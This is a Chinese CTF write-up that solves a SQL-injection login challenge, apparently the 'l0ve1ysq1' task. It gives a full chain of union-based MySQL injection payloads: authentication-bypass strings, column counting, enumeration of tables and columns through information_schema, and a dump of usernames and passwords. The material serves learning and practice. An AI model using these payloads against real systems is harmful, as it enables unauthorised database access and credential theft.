一、題目


梅開二度屬于是
直接操作
二、解題
1. 檢測注入型別
我們用兩個萬能密碼來檢測
1 or 1=1#
1' or 1=1#
第一種萬能密碼對應檢測的是數字型注入,第二種是字符型注入(因為字符通常用兩個 ' 來標記,在1之后加 ' 構成閉合)


這里我們測驗結果是用第二種萬能密碼登錄成功,那么可以判斷是字符型注入
2. 注入連招(查數爆庫爆表爆列)
使用union select操作
1' order by 3#

1' order by 4#

輸入3不報錯,到4的時候報錯,那么列數就為3
再判斷回顯位置
1' union select 1,2,3#

可知回顯位為2,3
開始爆庫
1' union select 1,database(),version()#

爆表
1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#

我們選l0ve1ysq1這個表來爆列
1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='l0ve1ysq1'#

最后就是把這些列的內容爆出來
1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1#


拿到flag
三、總結
1. 這道題考了比較基本的sql注入技巧,主要是使用聯合查詢的那一套
2. information_schema這張資料表保存了MySQL服務器所有資料庫的資訊,如資料庫名,資料庫 的表,表欄的資料型別與訪問權限等,再簡單點,這臺MySQL服務器上,到底有哪些資料庫、 各個資料庫有哪些表,每張表的欄位型別是什么,各個資料庫要什么權限才能訪問,等等資訊 都保存在information_schema表里面,(來源:百度知道),table_schema是資料庫的名稱, table_name是具體的表名,查列時要用and將這兩條的資訊連起來
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/323333.html
標籤:其他
下一篇:Web AWD流程與技巧
